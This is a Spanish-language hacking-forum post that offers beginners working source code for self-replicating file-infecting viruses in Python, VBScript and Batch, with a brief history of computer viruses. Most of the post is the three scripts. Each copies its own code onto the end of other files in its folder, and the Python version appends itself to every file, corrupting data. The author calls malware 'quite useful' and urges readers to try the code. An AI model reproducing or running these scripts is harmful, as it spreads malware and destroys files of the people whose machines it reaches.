Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Bad4m_cod3 en 4 Septiembre 2023, 06:28 am



Título: {VIRUS} Concepto y codigos fuentes funcionales para principiantes [Python, Batch, VBScript]
Publicado por: Bad4m_cod3 en 4 Septiembre 2023, 06:28 am
Actualmente se habla mucho de como crear keylogger, ransomware y demas malware que honestamente son bastante utiles. Pero cuando vemos el nacimiento de todo esto sabemos que el concepto de "Virus informatico" resulta ser el primer tipo de malware.

Haciando un poco de historia sobre el mismo encontramos que a principio de los 80 varios programadores se percatan que podian ejecutar un programa y añadir el codigo fuente de ese programa a los demas ejecutables, haciendo que portaran parte del codigo y asi poder copiarse una y otra vez, se uso el termino de virus informatico debido a que el programa que se copiaba "infectaba" a los demas añadiendo codigo al final del mismo. Sin embargo, realizar un "virus" con los archivos ejecutables resulta muy trabajoso por lo que como ejercicio de didactico vamos a ver esto en lenguajes tipo "Scripting" respectivamente.

Arrancando por el mas querido Python, como virus.py

Código
  1. #coding: utf-8
  2. import os,sys
  3.  
  4. full_path_name = sys.argv[0]
  5. path_local = sys.path[0]
  6.  
  7. temp_var_file = open(full_path_name,'r')
  8. code_virus = temp_var_file.read()
  9. temp_var_file.close()
  10.  
  11. for file_infects in os.listdir(path_local):
  12.  path_file_infect = path_local+'\\'+file_infects
  13.  if os.path.isfile(path_file_infect):
  14.    if path_file_infect != full_path_name:
  15.      infectar = open(path_file_infect,'a')
  16.      infectar.write(code_virus)
  17.      infectar.close()
  18.  
  19. print("Fuiste infectado")

Por VBScript como virus.vbs

Código
  1. Dim fso
  2. Dim Full_path_vbs, Path_local, code_virus
  3.  
  4. set fso = createobject("Scripting.Filesystemobject")
  5. Full_path_vbs = wscript.scriptFullname
  6.  
  7. Set Code_local = fso.opentextfile(Full_path_vbs,1)
  8. code_virus = Code_local.readall()
  9. code_local.close()
  10.  
  11. path_local = fso.GetParentFolderName(Full_path_vbs)
  12. set obj_local_dir = fso.GetFolder(path_local)
  13.  
  14. For Each var_file in obj_local_dir.files
  15.    if (Lcase(fso.GetExtensionName(var_file)) = "vbs") and (var_file.name <> wscript.scriptname) then
  16.      Set mutante = fso.opentextfile(var_file,8)
  17.      mutante.write code_virus
  18.      mutante.close
  19.    end if
  20. next
  21.  
  22. msgbox "infectado"
  23.  

Y finalmente por una unica linea en Batch como virus.bat

Código
  1. for %%f in (*.bat) do copy %%f + %0

Como se puede ver, los tres cumplen las mismas condiciones, extraer su codigo fuente leyendose a si mismo, posteriormente buscar en el directorio local otros Scripts con la misma extension y abrirlos en modo añadidura para escribir su codigo al final de los ficheros distintos a el he "infectarlos".

Saludos y hacer las pruebas.